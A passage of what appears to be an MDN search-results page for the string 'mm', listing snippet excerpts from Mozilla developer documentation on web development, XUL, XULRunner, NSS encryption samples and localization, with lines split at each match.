... value <url> default value none animatable yes specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'href for <a>' in that specification.
...And 9 more matches
Understanding WebAssembly text format - WebAssembly
unlike the abstract syntax tree of a progra
mming language, though, webassembly’s tree is pretty flat, mostly consisting of lists of instructions.
... the local.get/local.set co
mmands refer to the item to be got/set by its numeric index: parameters are referred to first, in order of their declaration, followed by locals in order of their declaration.
...that’s literally all that asm.js has to play with (except that it isn't resizable; see the asm.js progra
mming model).
...And 9 more matches
Module structure of the SDK - Archive of obsolete content
co
mmonjs is the underlying infrastructure for both the sdk and the add-ons you build using the sdk.
... a co
mmonjs module is a piece of reusable javascript: it exports certain objects which are thus made available to dependent code.
... co
mmonjs defines: an object called exports which contains all the objects which a co
mmonjs module wants to make available to other modules a function called require which a module can use to import the exports object of another module.
...And 8 more matches
Miscellaneous - Archive of obsolete content
s "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called i
mmediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to restart the applicat...
... example for firefox: services.startup.quit(services.startup.eforcequit|services.startup.erestart); mouse and keyboard detecting mouse wheel events when scrolling the mouse wheel on an element, the do
mmousescroll event fires.
...</div> <script type="text/javascript"> var elm = document.getelementbyid("scrollarea"); elm.addeventlistener("do
mmousescroll", function scroll(event){ //event.detail is positive for a downward scroll, negative for an upward scroll alert("scrolling " + event.detail + " lines"); }, false); </script> if you do not receive a do
mmousescroll event while holding any of the modifier keys (ctrl,shift,alt,meta) you should check the mousewheel.withcontrolkey.action and related preferences.
...And 8 more matches
Local Storage - Archive of obsolete content
it is very co
mmon for an extension to require some kind of local persistent storage.
... we reco
mmend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug.
... we'll discuss logging in this section, but first let's look at the right (or at least, co
mmon and scalable) way of managing local files.
...And 8 more matches
Tamarin build documentation - Archive of obsolete content
use the following co
mmand to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tamarin-central tips for working with mercurial can be found here.
... building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (
mmgc), and create a standalone executable (shell) for executing files in the abc file format.
...note that additional co
mmand-line arguments are only available in the debug configuration.
...And 8 more matches
Using Breakpoints in Venkman - Archive of obsolete content
the first, and most co
mmon, is called the "hard" breakpoint.
...the most co
mmon use of future breakpoints is to stop in a "top level" script (script that executes outside of any function), or script that executes during the onload event of a page.
... early return from caller with result will cause the function that the breakpoint is set in to return the value of the breakpoint script as its result, i
mmediatley after the breakpoint script completes.
...And 8 more matches
A XUL Bestiary - Archive of obsolete content
in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" onco
mmand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application.
...when you invoke mozilla from the co
mmand line with the -chrome flag, you can specify a chrome just as you would in the previous example: mozilla -chrome chrome://help/content/help.xul brings up the help package mentioned in the previous example as a "stand-alone" chrome.
...there are, unfortunately, different document object models corresponding to different types of documents and also to different proprietary notions about what in a document should be exposed progra
mmatically.
...And 8 more matches
XUL accessibility guidelines - Archive of obsolete content
by following these principles and practices, you will be able to write your xul applications in such a way that all users, including those with physical, sensory, or co
mmunicative disabilities, with be able to use and enjoy them.
... accessibility is not difficult, but does require a basic understanding of the different types of disabilities, co
mmonly used assistive technologies, and special accessibility features built into the xul languages.
...in addition, there is an active co
mmunity of accessibility developers within the mozilla project that will be happy to help you with any concerns or questions you have in regards to making your xul applications fully accessible.
...And 8 more matches
XULRunner 2.0 Release Notes - Archive of obsolete content
windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended).
... the following directory is reco
mmended: c:\program files\mozilla xulrunner\2.0 .
... to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 8 more matches
What is a web server? - Learn web development
su
mmary the term web server can refer to hardware or software, or both of them working together.
... a dynamic web server consists of a static web server plus extra software, most co
mmonly an application server and a database.
... co
mmunicating through http second, a web server provides support for http (hypertext transfer protocol).
...And 8 more matches
Getting started with HTML - Learn web development
html (hypertext markup language) is not a progra
mming language.
...failing to include a closing tag is a co
mmon beginner error that can produce peculiar results.
...one reason html5 dropped these terms was to prevent this rather co
mmon confusion.
...And 8 more matches
Introduction to events - Learn web development
previous overview: building blocks next events are actions or occurrences that happen in the system you are progra
mming, which the system tells you about so you can respond to them in some way if desired.
... objective: to understand the fundamental theory of events, how they work in browsers, and how events may differ in different progra
mming environments.
... a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are progra
mming — the system produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs.
...And 8 more matches
A first splash into JavaScript - Learn web development
you won't be expected to understand all of the code in detail i
mmediately — we just want to introduce you to the high-level concepts for now, and give you an idea of how javascript (and other progra
mming languages) work.
... note: many of the code features you'll see in javascript are the same as in other progra
mming languages — functions, loops, etc.
... thinking like a progra
mmer one of the hardest things to learn in progra
mming is not the syntax you need to learn, but how to apply it to solve real world problems.
...And 8 more matches
Ember resources and troubleshooting - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
... further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server — a forum/chat server where you can meet the ember co
mmunity, ask for help, and help others!
...while ember-data solves the most co
mmon problems that any app dealing with data will run in to, it is possible to roll your own front-end data client.
...And 8 more matches
Debugging on Windows
if you have followed the steps in building firefox for windows and have a local debug build, you can execute ./mach run --debug from the same co
mmand line.
... co
mmand line parameters and environment variables vc++ 6.0: to change or set the co
mmand line options, go to project > settings..., debug tab and select general from the drop down list.
... some co
mmon options would be the url of the file you want the browser to open as soon as it starts, starting the profile manager, or selecting a profile.
...And 8 more matches
Contributing to the Mozilla code base
the mozilla co
mmunity prides itself on being an open, accessible, and friendly co
mmunity for new participants.
...otlin contribute to firefox preview firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contribute to the mozilla mission without progra
mming.
... if getting involved in design, support, translation, testing, or other types of contributions sparks your interest please see co
mmunity webiste.
...And 8 more matches
Multiple Firefox profiles
the release channel is reco
mmended for most users, as it is the "official release" channel.
... linux if firefox is already included in your linux distribution, or if you have installed firefox with the package manager of your linux distribution: open a terminal emulator or your shell’s co
mmand prompt: alt-f2 if you use gnome shell or kde plasma, consult your desktop environment documentation for other environments.
... for example, if firefox is installed in the reco
mmended location, you would enter /applications/firefox.app/contents/macos/firefox.
...And 8 more matches
Index
found 42 pages: # page tags and su
mmary 1 localization at mozilla landing, localization, mozilla, translation, l10n localization (l10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture.
... 9 localization content best practices apps, extensions, internationalization, localization, mozilla, l10n, l12y this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) co
mmon mistakes.
... 10 localization notes guide, internationalization, localization, mozilla localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add co
mments to the localizable files themselves, too.
...And 8 more matches
Encrypt Decrypt MAC Keys As Session Objects
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); ...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
... pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "com...
...And 8 more matches
Encrypt and decrypt MAC using token
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); ...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
... pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "com...
...And 8 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c <a|b> -d <dbdirpath> [-z <noisefilename>] " "[-p <dbpwd> | -f <dbpwdfile>] -i <ipfilename> -o <opfilename>\n\n", progname); fprintf(stderr, "...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
... pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "com...
...And 8 more matches
Rhino shell
the javascript shell provides a simple way to run scripts in batch mode or an interactive environment for exploratory progra
mming.
... arguments the arguments object is an array containing the strings of all the arguments given at the co
mmand line when the shell was invoked.
... history displays the shell co
mmand history.
...And 8 more matches
nsIMsgHeaderParser
nsimsgheaderparser defined in co
mm-central/ mailnews/ mime/ public/ nsimsgheaderparser.idl mailnews/mime/public/nsimsgheaderparser.idlscriptable ???
...ateaddresses(in string addrs, in string other_addrs, in prbool removealiasestome, out string newaddress); string unquotephraseoraddr(in string line, in boolean preserveintegrity); wstring unquotephraseoraddrwstring(in wstring line, in boolean preserveintegrity); methods extractheaderaddressmailboxes() given a string which contains a list of header addresses, returns a co
mma-separated list of just the 'mailbox' portions.
... return value a co
mma-separated list of just the mailbox parts of the addresses.
...And 8 more matches
WebIDL bindings
if you do need to hook up cycle collection, it will look like this in the co
mmon case of also inheriting from nsisupports: // add strong pointers your class holds here.
... note that using a 'headerfile' annotation is generally not reco
mmended.
... values other than everything, when used in combination with [affects=nothing], can used by the jit to perform loop-hoisting and co
mmon subexpression elimination on the return values of idl attributes and methods.
...And 8 more matches
Making content editable - Developer guides
</div> here's the above html in action: executing co
mmands when an html element has contenteditable set to true, the document.execco
mmand() method is made available.
... this lets you run co
mmands to manipulate the contents of the editable region.
... most co
mmands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting).
...And 8 more matches
Index - Developer guides
found 43 pages: # page tags and su
mmary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis.
... 2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 co
mmunity ajax if you know of useful mailing lists, newsgroups, forums, or other co
mmunities related to ajax, please link to them here.
... basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api 10 live streaming web audio and video guide, adaptive streaming live streaming technology is often employed to relay live events such as sports, concerts and more generally tv and radio progra
mmes that are output live.
...And 8 more matches
<input type="date"> - HTML: Hypertext Markup Language
among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-
mm-dd format, or empty events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber.
... you can set a default value for the input with a date inside the value attribute, like so: <input type="date" value="2017-06-01"> the displayed date format will differ from the actual value — the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-
mm-dd.
... additional attributes along with the attributes co
mmon to all <input> elements, date inputs have the following attributes: attribute description max the latest acceptable date min the earliest acceptable date step the stepping interval, when clicking up and down spinner buttons and validating the date max the latest date to accept.
...And 8 more matches
MIME types (IANA media types) - HTTP
other co
mmon examples include application/pdf, application/pkcs8, and application/zip.
...co
mmon examples include font/woff, font/ttf, and font/otf.
...co
mmon examples are image/jpeg, image/png, and image/svg+xml.
...And 8 more matches
Using Promises - JavaScript
chaining a co
mmon need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the previous operation succeeds, with the result from the previous step.
...this is very much modeled after how synchronous code works: try { const result = syncdosomething(); const newresult = syncdosomethingelse(result); const finalresult = syncdothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } this sy
mmetry with asynchronous code culminates in the async/await syntactic sugar in ecmascript 2017: async function foo() { try { const result = await dosomething(); const newresult = await dosomethingelse(result); const finalresult = await dothirdthing(newresult); console.log(`got the final result: ${finalresult}`); } catch(error) { failurecallback(error); } } it builds on p...
... promises solve a fundamental flaw with the callback pyramid of doom, by catching all errors, even thrown exceptions and progra
mming errors.
...And 8 more matches
Image file type and format guide - Web media technologies
co
mmon image file types there are many image file formats in the world.
... however, the ones listed below are generally recognized as usable on the web, though bmp is generally not reco
mmended as browser support is potentially constrained; it should usually be avoided for web content.
...they're also co
mmonly used for the animated portions of web browsers' user interfaces.
...And 8 more matches
Content type - SVG: Scalable Vector Graphics
the gra
mmar for clock values is repeated here: clock-val ::= full-clock-val | partial-clock-val | timecount-val full-clock-val ::= hours ":" minutes ":" seconds ("." fraction)?
... the format of an rgb value in hexadecimal notation is a "#" i
mmediately followed by either three or six hexadecimal characters.
...the format of an rgb value in the functional notation is an rgb start-function, followed by a co
mma-separated list of three numerical values (either three integer values or three percentage values) followed by ")".
...And 8 more matches
Getting Started (jpm) - Archive of obsolete content
the add-on sdk includes a co
mmand-line tool that you use to initialize, run, test, and package add-ons.
... the co
mmand-line jpm tool.
...once you've done that, you'll be looking at a co
mmand prompt.
...And 7 more matches
JavaScript Daemons Management - Archive of obsolete content
in the javascript progra
mming language, daemons are all processes created by javascript timers or by a worker instantiation.
...so the minidaemon framework will remain the reco
mmended way for simple animations, because daemon without its collection of methods is essentially a clone of it.
... about the “callback arguments” polyfill in order to make this framework compatible with internet explorer (which doesn't support sending additional parameters to timers' callback function, neither with settimeout() or setinterval()) we included the ie-specific compatibility code (co
mmented code), which enables the html5 standard parameters' passage functionality in that browser for both timers (polyfill), at the end of the daemon.js module.
...And 7 more matches
Running Tamarin performance tests - Archive of obsolete content
performance test options there are a variety of options available with runtests.py - here is the help text followed by explanations for some options: $ ./runtests.py -h usage: runtests.py [options] [tests] -v --verbose enable additional output -e --avm avmplus co
mmand to use -a --asc compiler to use -g --globalabc deprecated but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of shell_toplevel.abc -x --exclude co
mma separated list of directories to skip -h --help display help and exit -t --notime do not generate timestamps (cleaner di...
...ffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --su
mmaryonly only display final su
mmary --rebuildtests rebuild the tests only - do not run against vm --showtimes shows the time for each test --ascargs args to pass to asc on rebuild of test files --vmargs args to pass to vm --timeout max time to run all tests --testtimeout max time to let a test run, in sec (default -1 = never timeout) --html also create an html output file --notimecheck do not recompile .abc if timestamp is older than .as --java location of java executable (defaul...
...t=java) --javaargs arguments to pass to java --random run tests in random order --seed explicitly specify random seed for --random -s --avm2 second avmplus co
mmand to use --avmname nickname for avm to use as column header --avm2name nickname for avm2 to use as column header --detail display results in 'old-style' format --raw output all raw test values -i --iterations number of times to repeat test -l --log logs results to a file -k --socketlog logs results to a socket server -r --runtime name of the runtime vm used, including switch info eg.
...And 7 more matches
Focus and Selection - Archive of obsolete content
getting the currently focused element the currently focused element is held by an object called a co
mmand dispatcher, of which there is only one for the window.
... the co
mmand dispatcher is responsible for keeping track of the focused element as the user uses the interface.
... the co
mmand dispatcher has other roles, which will be discussed in a later section on co
mmands.
...And 7 more matches
Modifying a XUL Interface - Archive of obsolete content
for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" onco
mmand="addbutton();"/> </box> this example has two parts a box container element in xul.
... the button element has two attributes "label" and "onco
mmand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to.
... the function getelementbyid() does not know that the box it is looking for happens to be containing the tag that has the onco
mmand attribute that referenced it.
...And 7 more matches
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended).
... the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.8.0.4 .
... to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
XULRunner 1.9.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended).
... the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.9.1 .
... to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
XULRunner 1.9.2 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended).
... the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.9.2 .
... to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
XULRunner 1.9 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is reco
mmended).
... the following directory is reco
mmended: c:\program files\mozilla xulrunner\1.9 .
... to register xulrunner with the system, open a co
mmand prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 7 more matches
Windows and menus in XULRunner - Archive of obsolete content
this time i want to add some of the things co
mmon to a desktop application user interface: windows and dialogs menus and toolbars os co
mmon dialogs controls or widgets windows each window or dialog should be created in its own xul file.
... menus and toolbars most desktop applications are complex enough to require some sort of menu and/or toolbar to structure the application’s available co
mmands.
...app/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> <toolbox> <menubar id="menubar"> <menu id="file-menu" label="&file;"> <menupopup id="file-popup"> <menuitem label="&file.new;" onco
mmand="dofilenew();"/> <menuitem label="&file.open;" onco
mmand="dofileopen();"/> <menuitem label="&file.save;" onco
mmand="dofilesave();"/> <menuseparator/> <menuitem label="&file.exit;" onco
mmand="dofileexit();"/> </menupopup> </menu> <menu id="edit-menu" label="&edit;"> <menupopup id="edit-popup"> <menuitem label="&edit.u...
...And 7 more matches
SSL and TLS - Archive of obsolete content
the secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted co
mmunication between clients and servers.
... ssl/tls uses a combination of public key and sy
mmetric-key encryption.
... sy
mmetric-key encryption is much faster than public-key encryption, but public-key encryption provides better authentication techniques.
...And 7 more matches
The Business Benefits of Web Standards - Archive of obsolete content
the blogging co
mmunity are particularly dynamic in this respect where on many platforms including wordpress, textpattern and habari, the site theme is a complete and discrete entity in its own right.
... assumptions about the user and their platform based on erroneous thinking about the anticipated user co
mmunity are inevitably always wrong.
...one of the most important features of a successful site is constantly evolving relevant content which in turn can act as fuel for social media dialogue with the user co
mmunity.
...And 7 more matches
Index - Game development
found 74 pages: # page tags and su
mmary 1 game development apps, game development, gamedev, games, html5 games, javascript games, web gaming is one of the most popular computer activities.
... 4 index meta found 74 pages: 5 introduction to html5 game development (su
mmary) firefox os, games, html5, mobile games built with html5 work on smartphones, tablets, pcs and smart tvs.update your game whenever you want.players can play the game anywhere, anytime.
... 6 introduction to game development for the web firefox os, games, guide, mobile no su
mmary!
...And 7 more matches
How CSS is structured - Learn web development
this is the most co
mmon and useful method of bringing css to a document.
... there are a few circumstances where inline styles are more co
mmon.
...for example, @import imports a stylesheet into another css stylesheet: @import 'styles2.css'; one co
mmon @rule that you are likely to encounter is @media, which is used to create media queries.
...And 7 more matches
Styling links - Learn web development
previous overview: styling text next when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in co
mmon varied interface features such as navigation menus and tabs.
... objective: to learn how to style link states, and how to use links effectively in co
mmon ui features like navigation menus.
... focus: a link when it has been focused (for example moved to by a keyboard user using the tab key or similar, or progra
mmatically focused using htmlelement.focus()) — this is styled using the :focus pseudo class.
...And 7 more matches
Basic native form controls - Learn web development
previous overview: forms next in the previous article, we marked up a functional web form example, introducing some form controls and co
mmon structural elements, and focusing on accessibility best practices.
...this article covers: the co
mmon input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text.
... some of the attributes that are co
mmon to all form controls.
...And 7 more matches
Sending form data - Learn web development
prerequisites: basic computer literacy, an understanding of html, and basic knowledge of http and server-side progra
mming.
... client/server architecture at it's most basic, the web uses a client/server architecture that can be su
mmarized as follows.
... note: to get a better idea of how client-server architectures work, read our server-side website progra
mming first steps module.
...And 7 more matches
Basic math in JavaScript — numbers and operators - Learn web development
types of numbers in progra
mming, even the humble decimal number system that we all know so well is more complicated than you might think.
... the second bit of good news is that unlike some other progra
mming languages, javascript only has one data type for numbers, both integers and decimals — you guessed it, number.
...enter the co
mmands listed below into your developer tools javascript console.
...And 7 more matches
JavaScript object basics - Learn web development
objective: to understand the basic theory behind object-oriented progra
mming, how this relates to javascript ("most things are objects"), and how to start working with javascript objects.
...while working with this example you should have your developer tools javascript console open and ready to type in some co
mmands.
...the live version will give you a blank screen, but that's ok — again, open your devtools and try typing in the above co
mmands to see the object structure.
...And 7 more matches
Focus management with Vue refs - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
...because vue is trying to optimize and batch changes, it won't i
mmediately update the dom when we set isediting to false.
...this article from the digital ocean co
mmunity blog dives into the lifecycle methods more deeply.
...And 7 more matches
Learn web development
get started where to start complete beginner: if you are a complete beginner to web development, we'd reco
mmend that you start by working through our getting started with the web module, which provides a practical introduction to web development.
... frameworks and tooling: after mastering the essentials of vanilla html, css, and javascript, you should learn about client-side web development tools, and then consider digging into client-side javascript frameworks, and server-side website progra
mming.
...besides, if you have a specific question about web development, our co
mmon questions section may have something to help you.
...And 7 more matches
Creating a Language Pack
windows: replace make with mozmake in the co
mmands below!
... while in that directory, issue the following co
mmand: $ make merge-x-testing locale_mergedir=$(pwd)/mergedir x-testing: browser chrome browser aboutcerterror.dtd // add and localize this file ...
... x-testing: changed: 6 missinginfiles: 6124 missing: 5 0% of entries changed this step is not necessary anymore to create the language pack, because it is included in the next co
mmand.
...And 7 more matches
Sqlite.jsm
javascript progra
mmers should feel right at home using sqlite.jsm.
... executecached() is reco
mmended for statements that will be executed many times.
... execute() is reco
mmended for statements that will be executed seldomly or once.
...And 7 more matches
Initial setup
here's what you do: look through the existing localization co
mmunity directory to see if one already exists for your locale.
... if a co
mmunity already exists, reach out to them and ask how you can help.
... if a co
mmunity doesn't exist, send an email to the new-locales newsgroup for additional guidance.
...And 7 more matches
Localization Use Cases
german, finnish, hungarian, all slavic languages), the about preposition governs the gra
mmatical case of the complement.
... about-browser=o brskalniku {{browserbrandshortname}} solution in l20n, this problem can be easily solved by defining multiple variants of the browserbrandshortname entity, to match different gra
mmatical cases of the noun.
...rowserbrandshortname as: <browserbrandshortname{ nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental:"firefoxom" }> and in shared/branding/unofficial/branding, we can define browserbrandshortname as follows, to mean web browser: now, coming back to apps/browser/locales/browser, we can take advantage of the gra
mmatical cases.
...And 7 more matches
PKCS11 FAQ
not doing so is a co
mmon source of problems.
...for example, one does all the hashing/sy
mmetric operations, while another does only asy
mmetric rsa operations.
...for example, if the rsa slot unwraps a key, nss needs to move that key to a slot that can do the sy
mmetric operations.
...And 7 more matches
sslintro.html
upgraded documentation may be found in the current nss reference overview of an ssl application chapter 1 overview of an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted co
mmunications.
... an ssl application typically includes five parts: initialization configuration co
mmunication functions used by callbacks cleanup although the details differ somewhat for client and server applications, the concepts and many of the functions are the same for both.
... co
mmunication at this point the application has set up the socket to co
mmunicate using ssl.
...And 7 more matches
Garbage collection
a chunk is 1mb and contains arenas, padding, the mark bitmap (chunkbitmap), a bitmap of deco
mmitted arenas, and a chunk header (chunkinfo).
...if so, the engine must i
